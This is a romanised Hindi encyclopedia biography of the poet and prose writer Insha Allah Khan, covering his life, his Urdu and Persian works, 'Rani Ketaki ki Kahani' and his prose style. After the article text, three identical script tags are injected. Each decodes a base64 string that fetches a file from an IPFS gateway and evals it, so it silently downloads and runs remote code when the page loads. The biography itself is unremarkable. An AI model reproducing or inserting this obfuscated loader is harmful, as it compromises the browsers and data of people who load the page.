इंशा अल्ला ख़ाँ

iansha alla khaan ka hindi kh di boli gady ke unnayakoan mean vishisht sthan hai. iansha b de hi khushamijaj, hajir javab aur vyutpann vyakti the.

jivan parichay

iansha alla khaan ke pita mir masha alla khaan kashmir se dilli akar bas gaye the aur shahi hakim ke roop mean kary karate the. mugal samrat ki sthiti chinty hone par ye murshidabad ke navab ke yahaan chale gaye. yahian iansha ka janm hua. bangal ki sthiti big dane par iansha ko dilli mean shahalam dvitiy ke ashray mean jana p da. shahalam nam ke hi shah the. ve iansha ki shayari ki qadr karate the kintu unako sarvochch puraskar se santusht nahian kar paye the. apani mahatvakaanksha poori n hote dekh iansha lakhanoo chale aye aur shahazada mirza suleman ki seva mean niyukt ho gaye. dhire-dhire inaka parichay vazir kafajulla husain khaan se ho gaya. inhian ki sahayata se ye navab sahayad ali khaan ke darabar mean pahuanche. pahale to navab se inaki khoob pati kintu bad mean inake ek abhadr mazak par navab sahab big d gaye aur inhean darabar se alag hona p da.

kritiyaan

iansha alla khaan urdoo- farasi ke bahut b de shayar the. inhoanne anek kritiyaan urdoo aur farasi mean prastut ki haian. jo nimn haian-

• 'urdoo gazaloan ka divana'
• 'divan rekhti'
• 'kasayad urdoo-farasi'
• 'divane farasi'
• 'masanavi shikaranama'

rani ketaki ki kahani

hindi kh di boli gady mean inaki sarvaprasiddh rachana 'rani ketaki ki kahani' ya 'udayabhan charit' hai. is kahani ka mahatv, bhasha, shaili aur varny vastu sabhi drishtiyoan se hai. svayan lekhak ke anusar isamean hindavi chhut aur kisi boli ka put nahian hai. lekhak ne isaki mualtapana ke sath hi brajabhasha, avadhi aur sanskrit ke tatsam shabdoan ko bhi alag rakhana chaha hai. yah kahani shuddh saansarik prem ko adhar banakar manoranjan ke lie likhi gayi hai.

gady shaili

iansha ki gady shaili b di hi chatapati, manoranjak aur hasyapoorn hai.

bhasha

iansha ki bhasha muhavaredar aur chalati huee hai. theth ghareloo shabdoan ke prayog ke karan vah b di pyari lagati hai. iansha mean sanupras viram dene ki pravritti adhik hai. inhoanne purani urdoo ke anukaran par kridantoan aur visheshanoan mean bhi bahuvachan soochak chihn lagaye haian. udaharan ke lie 'kuanjaniyaan', 'ramajaniyaan', 'dominiyaan' ke sath ve 'dhoome-machatiyaan', 'aang datiyaan' aur jamhatiyaan' ka prayog karana avashyak samajhate haian. is prakar ke prayog aj ashobhan lagate haian.

baboo shyamasundar das ne prarambhik gady lekhakoan mean iansha ko mahatv ki drishti se pahala sthan diya hai. isamean sandeh nahian ki inaki bhasha sabase adhik chalati huee aur muhavaredar hai. kintu unaka jhukav urdoo ki or adhik hai. usamean ham vartaman hindi gady ka poorvabhas nahian pate. jo bhi ho, apani manoranjak varnan shaili, chatapati aur lachchhedar kavyavali tatha vishuddh hindi lekhan ke sahasik prayog ke karan hindi gady sahity ke itihas mean iansha alla khaan sadaiv smaraniy raheange.

mrityu

iansha alla khaan ke jivan ke antim varsh kathinaiyoan mean vyatit hue. san 1817 ee. mean inaki mrityu ho gee.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>